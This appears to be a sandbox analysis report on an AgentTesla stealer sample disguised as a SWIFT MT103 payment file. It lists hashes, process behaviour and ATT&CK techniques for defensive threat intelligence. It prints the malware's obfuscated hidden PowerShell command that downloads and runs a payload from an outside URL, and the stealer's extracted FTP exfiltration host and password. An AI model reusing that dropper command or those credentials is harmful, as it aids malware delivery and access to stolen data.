agenttesla | 5326f9691f9a304973414ea552cf71c21bccdaaf3899661de4ad647ba16c91aa

General

Target

Swift0002747775 MT103 000348586.chm
Size

15KB
MD5

0d9ab32a173a23705f26b33c9776a8dd
SHA1

6b06f0fa7411ac7b01807dd526508ed37facf4e2
SHA256

5326f9691f9a304973414ea552cf71c21bccdaaf3899661de4ad647ba16c91aa
SHA512

8d229a5af217e53a522880becb68680a325b5474683798a4812640dba8c4933ca718b1485d99aef9b31b3790914fe1024ccb05abd4a503e88af998e36a93c9bd
SSDEEP

192:L7aJtYxFm/3gPdpkEmg45HKGBWTY1/Qxl31:L7aJtYxFqgPjkx5HlBWk1/+31

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://stpindo.co.id/ck12.txt

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.mgcpakistan.com
Port:
21
Username:
[email protected]
Password:
boygirl123456

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 760 powershell.exe
Loads dropped DLL 2 IoCs

Processes:

powershell.exe

pid process

760 powershell.exe
760 powershell.exe

flow	pid	process
5	760	powershell.exe

pid	process
760	powershell.exe
760	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

InstallUtil.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	InstallUtil.exe
Key opened	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	InstallUtil.exe
Key opened	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	InstallUtil.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 760 set thread context of 960 760 powershell.exe InstallUtil.exe
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

hh.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main hh.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeInstallUtil.exe

pid process

760 powershell.exe
960 InstallUtil.exe
960 InstallUtil.exe
960 InstallUtil.exe

description	pid	process	target process
PID 760 set thread context of 960	760	powershell.exe	InstallUtil.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main	hh.exe

pid	process
760	powershell.exe
960	InstallUtil.exe
960	InstallUtil.exe
960	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

Processes:

powershell.exeInstallUtil.exe

description	pid	process
Token: SeDebugPrivilege	760	powershell.exe
Token: SeIncreaseQuotaPrivilege	760	powershell.exe
Token: SeSecurityPrivilege	760	powershell.exe
Token: SeTakeOwnershipPrivilege	760	powershell.exe
Token: SeLoadDriverPrivilege	760	powershell.exe
Token: SeSystemProfilePrivilege	760	powershell.exe
Token: SeSystemtimePrivilege	760	powershell.exe
Token: SeProfSingleProcessPrivilege	760	powershell.exe
Token: SeIncBasePriorityPrivilege	760	powershell.exe
Token: SeCreatePagefilePrivilege	760	powershell.exe
Token: SeBackupPrivilege	760	powershell.exe
Token: SeRestorePrivilege	760	powershell.exe
Token: SeShutdownPrivilege	760	powershell.exe
Token: SeDebugPrivilege	760	powershell.exe
Token: SeSystemEnvironmentPrivilege	760	powershell.exe
Token: SeRemoteShutdownPrivilege	760	powershell.exe
Token: SeUndockPrivilege	760	powershell.exe
Token: SeManageVolumePrivilege	760	powershell.exe
Token: 33	760	powershell.exe
Token: 34	760	powershell.exe
Token: 35	760	powershell.exe
Token: SeDebugPrivilege	960	InstallUtil.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

hh.exe

pid process

1308 hh.exe
1308 hh.exe

pid	process
1308	hh.exe
1308	hh.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

hh.exepowershell.exe

description	pid	process	target process
PID 1308 wrote to memory of 760	1308	hh.exe	powershell.exe
PID 1308 wrote to memory of 760	1308	hh.exe	powershell.exe
PID 1308 wrote to memory of 760	1308	hh.exe	powershell.exe
PID 760 wrote to memory of 960	760	powershell.exe	InstallUtil.exe
PID 760 wrote to memory of 960	760	powershell.exe	InstallUtil.exe
PID 760 wrote to memory of 960	760	powershell.exe	InstallUtil.exe
PID 760 wrote to memory of 960	760	powershell.exe	InstallUtil.exe
PID 760 wrote to memory of 960	760	powershell.exe	InstallUtil.exe
PID 760 wrote to memory of 960	760	powershell.exe	InstallUtil.exe
PID 760 wrote to memory of 960	760	powershell.exe	InstallUtil.exe
PID 760 wrote to memory of 960	760	powershell.exe	InstallUtil.exe
PID 760 wrote to memory of 960	760	powershell.exe	InstallUtil.exe
PID 760 wrote to memory of 960	760	powershell.exe	InstallUtil.exe
PID 760 wrote to memory of 960	760	powershell.exe	InstallUtil.exe
PID 760 wrote to memory of 960	760	powershell.exe	InstallUtil.exe

outlook_office_path 1 IoCs

Processes:

InstallUtil.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	InstallUtil.exe

outlook_win_path 1 IoCs

Processes:

InstallUtil.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	InstallUtil.exe

C:\Windows\hh.exe
"C:\Windows\hh.exe" "C:\Users\Admin\AppData\Local\Temp\Swift0002747775 MT103 000348586.chm"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1308

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden $t0='DE5'.replace('D','I').replace('5','x');sal P $t0;$ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;'[void' + '] [Syst' + 'em.Refle' + 'ction.Asse' + 'mbly]::LoadWi' + 'thPartialName(''Microsoft.VisualBasic'')'|P;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|P;$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Down' + 'load' + 'Str' + 'ing',[Microsoft.VisualBasic.CallType]::Method,'http' + '://stpindo.co.id/ck12.txt')|P
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:760

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
3⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:960

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Email Collection

1

T1114

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\Users\Admin\AppData\Local\Temp\6fa7e56d-5a67-4728-a5db-c67fd5cf7763\AgileDotNetRT64.dll
Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
\Users\Admin\AppData\Local\Temp\f1c816ee-9c5b-4ee5-8939-4ab00a42e9d3\AgileDotNetRT64.dll
Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
memory/760-74-0x000000000261B000-0x000000000263A000-memory.dmp

Filesize
124KB

Download
memory/760-55-0x0000000000000000-mapping.dmp

Download
memory/760-57-0x000007FEEE6D0000-0x000007FEEF0F3000-memory.dmp

Filesize
10.1MB

Download
memory/760-59-0x0000000002614000-0x0000000002617000-memory.dmp

Filesize
12KB

Download
memory/760-58-0x000007FEEDB70000-0x000007FEEE6CD000-memory.dmp

Filesize
11.4MB

Download
memory/760-60-0x000000001B720000-0x000000001BA1F000-memory.dmp

Filesize
3.0MB

Download
memory/760-61-0x000000000261B000-0x000000000263A000-memory.dmp

Filesize
124KB

Download
memory/760-63-0x000007FEEF3E0000-0x000007FEEF564000-memory.dmp

Filesize
1.5MB

Download
memory/760-73-0x0000000002614000-0x0000000002617000-memory.dmp

Filesize
12KB

Download
memory/960-65-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/960-68-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/960-69-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/960-70-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/960-71-0x0000000000437AEE-mapping.dmp

Download
memory/960-66-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/960-75-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/960-77-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/960-78-0x0000000074DA1000-0x0000000074DA3000-memory.dmp

Filesize
8KB

Download
memory/1308-54-0x000007FEFB651000-0x000007FEFB653000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads